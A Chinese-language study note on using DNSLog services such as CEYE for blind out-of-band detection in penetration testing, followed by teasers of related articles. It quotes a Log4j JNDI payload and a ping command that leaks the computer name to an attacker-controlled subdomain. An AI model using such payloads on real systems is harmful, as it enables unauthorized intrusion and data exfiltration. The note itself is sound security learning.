[NOTE] 关于DNSLog平台的使用

2024-05-13 17:31:12

[NOTE] 关于DNSLog平台的使用

前言

起因是12.09午夜的Log4j核弹级漏洞
大家验证漏洞的payload：${jndi:idap://XXXX.dnslog.cn/aa}
发现大家用的都是DNSLog，而自己还不太懂这个
于是发现自己还是真的菜

就赶紧补一波

所以说什么时候自己租个服务器

DNSLog Platform

现如今的DNS解析一般是一个递归+迭代解析的过程：

粉->蓝->黄->绿->红

其中我们可以自己建立一个红色的服务器，接收记录每次的DNS请求

可以在一些在线的DNSLog平台申请一个域名，作为临时的DNS服务器
受害者查询的这个域名解析请求，会被该DNS服务器记录下
攻击者就可以结合其他字段形成payload，来进行渗透测试

主要针对无回显、盲注的情况

SQL盲注
RCE
SSRF
RFI (Remote File Inclusion)

相当于是提供一个回显的地方

实例

以CEYE为例

在CEYE已经申请到了一个子域名：XXXXX.ceye.io
这个就相当于是一个攻击者的DNS服务器了
然后任何关于*.XXXXX.ceye.io\*的解析请求都会被记录

于是简单一下，尝试：ping whoami.XXXXX.ceye.io

结合其他字段形成payload：ping %computername%.XXXXX.ceye.io

大概就这样吧
CEYE除了DNS服务器之外，还有HTTP服务器

最后记下Windows和Linux的一些常用系统变量
另起笔记，在这里

[NOTE] 关于DNSLog平台的使用相关推荐

DNSlog平台详解
一.dnslog平台管理 dnslog解释 DNS: 域名解析IP , 用户在浏览器输入一个域名, 靠DNS服务解析域名的真实IP, 访问服务器上相应的服务 DNSLOG: DNS的日志, 存储在DN ...
渗透测试回显机制平台 dnslog 搭建
目录 1 前言 2 前期准备 3 实验过程 3.1 添加DNS解析 3.2 对外开放53端口 3.3 DNSLOG代码 4 WEB界面 5 后记 1 前言 DNSLOG是一种回显机制,常用于在某些漏洞 ...
浅析DNSlog在渗透测试中的实战技巧
文章目录前言 SSRF 盲打 XSS的盲打 XXE的盲打 SQL的盲注 RCE的盲打总结前言在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把 ...
dnslog在mysql在linux_DNSLog在MySQL注入中的实战
关于DNSlog在Web攻击的利用简单理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候可以通过DNSlog这种方式把想获得的数据外带出来. 常用在哪些情况下SQL ...
Dnslog在SQL注入中的利用
参考文献:www.anquanke.com/post/id/98096 https://bbs.pediy.com/thread-223881.htm DNSlog在Web攻击的利用在某些无法直接利 ...
编解码注入、二次注入、DNSlog盲注
1.编解码注入靶场 sqlilabs-Less21 登录后,使用bp抓包分析源码: 发现,如果正确登录,就会设置一个cookie,并且使用base64编码分析cookie: 发现此处可以进行co ...
DNSLog使用方法
DNSLOG的原理 DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.com.cn时,DNS的解析过程示意图. 其中,红色部分是可控的.我们只需要搭建一个红色部分的D ...
利用DNSLOG获取看不到的信息（给盲注带上眼镜）
一.前言本文属i春秋原创奖励计划,未经许可禁止转载! 毕业设计总算搞得差不多了,这个心累啊. 这不,完成了学校的任务,赶紧回来给蛋总交作业. 今天给大家分享一个姿势吧,不是什么新东西,但比较少见-- ...
mysql dba盲注_SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

最新文章

热门文章